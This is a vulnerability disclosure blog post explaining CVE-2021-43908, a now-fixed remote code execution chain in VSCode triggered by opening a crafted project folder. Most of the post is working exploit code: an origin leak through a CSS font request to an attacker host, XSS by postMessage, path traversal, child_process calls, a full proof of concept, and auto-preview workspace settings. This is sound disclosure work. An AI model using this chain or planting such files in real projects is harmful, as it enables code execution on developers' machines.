Logo
Contact
Overview

CVE-2021-43908: Remote code execution in VSCode restricted mode

TheGrandPew TheGrandPew
June 29, 2022
5 min read
index
Note

Want to secure your Electron or JavaScript application? Reach out to us at [email protected] or visit https://hacktron.ai to learn more.

VSCode is one of the most widely used Electron applications. As part of our research into hacking Electron apps, we thought it would be interesting to try to exploit VSCode —— and we succeeded. We were able to achieve remote code execution in VSCode without even needing to use any advanced techniques.

Summary (TL;DR)

Remote code execution can be achieved if a victim opens a markdown file in a maliciously crafted VSCode project or folder, even when running in VSCode’s Restricted Mode.

VSCode webview origin leak and meta redirect

Markdown files are rendered using the vscode-webview:// protocol with a unique ID, and the rendered page has the following CSP:

default-src 'none'; img-src 'self' https://*.vscode-webview.net https: data:; media-src 'self' https://*.vscode-webview.net https: data:; script-src 'nonce-b2FRHThl3pYBbQRmwMMnXnT1XqK7XGOBKiigpevKp0t7aHy1kFyHNabUhRKKi7OZ'; style-src 'self' https://*.vscode-webview.net 'unsafe-inline' https: data:; font-src 'self' https://*.vscode-webview.net https: data:;

Achieving XSS is impossible unless we can somehow leak the nonce. However, vscode-webview:// includes a postMessage handler that can be exploited for XSS. To use this postMessage, we first need to leak the extension ID, which is the host part of the vscode-webview:// origin.

Origin leak

Since the markdown is rendered in the same origin, we can use a technique like HTTPLeaks to leak the origin.

We discovered that it is possible to leak the extension ID via the font-src CSS directive, as the origin header in the request contains the ID we need:

<style>
@font-face {
font-family: 'MyFont';
src: url('https://pwn.af/elect/final/origin.php');
}
body {
font-family: 'MyFont';
}
</style>
<b>leak</b>

Meta redirect

Even with such a strict CSP, we can still use a meta tag to redirect to an attacker’s site where JavaScript can be executed.

Here is a proof of concept for the meta redirect and ID leak:

<style>
@font-face {
font-family: 'MyFont';
src: url('https://pwn.af/elect/final/origin.php');
}
body {
font-family: 'MyFont';
}
</style>
<body>
<b color="RED">POC STARTING</b>
<meta http-equiv="refresh" content="3;url=https://pwn.af/somefile.php" />
</body>

XSS in vscode-webview

vscode-webview:// pages have postMessage handlers. They check if the message is coming from a valid origin by using a query parameter named parentOrigin. This means that any arbitrary origin can load the vscode-webview in an iframe and send postMessages:

window.addEventListener('message', (e) => {
if (e.origin !== parentOrigin) {
console.log(`skipping webview message due to mismatched origins: ${e.origin} ${parentOrigin}`);
return;
}

On the attacker’s page, we can create an iframe with the following origin:

vscode-webview://ID/index.html?id=f6cb17f4-e1a2-465a-8c0b-239d65c5385c&swVersion=2&extensionId=vscode.markdown-language-features&platform=electron&vscode-resource-base-authority=vscode-resource.vscode-webview.net&parentOrigin=https://pwn.af

After that, we can send the following postMessage to achieve XSS in vscode-webview:

frames[0].postMessage({channel:'content',args:{contents:<img src=x onerror=alert(origin) />”,options:{allowScripts:true}}},'*')

For reference, see src/vs/workbench/contrib/webview/browser/pre/main.js#L762.

XSS in vscode-file origin

vscode-file is the main origin used by VSCode, and it has nodeIntegration enabled. It is similar to the file:// origin, allowing you to load files by their path, but only if they are inside the VSCode installation directory.

The following path shows where VSCode runs, which is within the installation directory:

vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/out/vs/code/electron-browser/workbench/workbench.html

Our idea was to navigate vscode-file:// to a controlled HTML file to demonstrate that we could run Node.js code and achieve RCE. However, navigation is restricted to the installation path, and we can’t create arbitrary files within that directory. We considered using network shares, but that approach didn’t work.

After some experimentation, we discovered that by using path traversal, we could load any file outside of the VSCode installation path:

vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F/somefile.html

Now the question is: how can we create an arbitrary HTML file on the victim’s computer?

Our idea was to use the same VSCode project or folder to store the HTML file. Then, we could navigate to it using top.location='vscode-file://vscode-app/vscode_project_opened_folder_path/malicious.html':

<script>
if (navigator.platform == 'MacIntel') {
top
.require('child_process')
.exec('open /System/Applications/Calculator.app')
} else {
top.require('child_process').execSync('calc.exe')
}
</script>

Okay, we have an arbitrary HTML file in the VSCode project folder on the victim’s computer, but how can we determine its path?

This is where a postMessage leak comes into play.

To leak the current user’s directory path, vscode-webview:// can send postMessages to the vscode-file:// origin. When a channel: do-reload postMessage is sent to vscode-file, it responds with several postMessages back to vscode-webview://, and one of these messages reveals the user’s directory path:

window.top.frames[0].onmessage = (event) => {
// loc = event.data.args.options.localResourceRoots[3].path
try {
loc = JSON.parse(event.data.args.state)['resource']
console.log(loc)
} catch {}
}
window.top.postMessage({ target: '${origin}', channel: 'do-reload' }, '*')

After obtaining the user’s directory path, we can redirect the current window to vscode-file:///:

Proof of concept
<script>
window.top.frames[0].onmessage = (event) => {
console.log(event)
try {
loc = JSON.parse(event.data.args.state)['resource']
var pwn_loc = loc
.replace(
'file:///',
'vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F',
)
.replace('pwn_mac.md', 'test.html')
location.href = pwn_loc
} catch (e) {
console.log(e)
}
}
window.top.postMessage(
{
target: '${origin}',
channel: 'do-reload',
},
'*',
)
</script>

Here is a full POC for vscode-webview XSS and vscode-file XSS:

Proof of concept
<?php
include "config.php"
?>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8" />
<title>PoC</title>
<script>
var channel
window.addEventListener('message', onMessage)
function onMessage(e) {
console.log(e)
channel = e
channel.ports[0].onmessage = console.log
channel.ports[0].postMessage({ channel: 'did-load-resource', data: {} })
}
var origin = '<?= $origin ?>'.split('/')[2]
function pwn() {
payload = `<script>
window.top.frames[0].onmessage = event => {
console.log(event);
try {
loc = JSON.parse(event.data.args.state)['resource'];
var pwn_loc = loc.replace('file:///','vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F').replace('pwn_mac.md','test.html')
location.href=pwn_loc;
} catch (e) {
console.log(e);
}
};
window.top.postMessage({
target: '${origin}',
channel: 'do-reload'
}, '*');
<\/script>`
channel.ports[0].postMessage({
channel: 'content',
args: { contents: payload, options: { allowScripts: true } },
})
}
setTimeout(function () {
pwn()
}, 3000)
</script>
</head>
<body>
<iframe
style="position: absolute; width:0;height:0;border: 0;border: none;"
src="<?= $origin ?>/index.html?id=f6cb17f4-e1a2-465a-8c0b-239d65c5385c&swVersion=2&extensionId=vscode.markdown-language-features&platform=electron&vscode-resource-base-authority=vscode-resource.vscode-webview.net&parentOrigin=<?= $host ?>"
>
</iframe>
</body>
</html>

Reducing user interaction

To render a markdown file, users typically need to select Markdown: Open preview in Quick Open. However, by using a VSCode workspace settings file, we can automatically render markdown without any user interaction.

Settings.json
{
"workbench.editorAssociations": {
"*.md": "vscode.markdown.preview.editor"
},
"workbench.startupEditor": "readme"
}

Here is the folder structure:

Finally, MSRC paid $3000 for the bug, and they fixed it.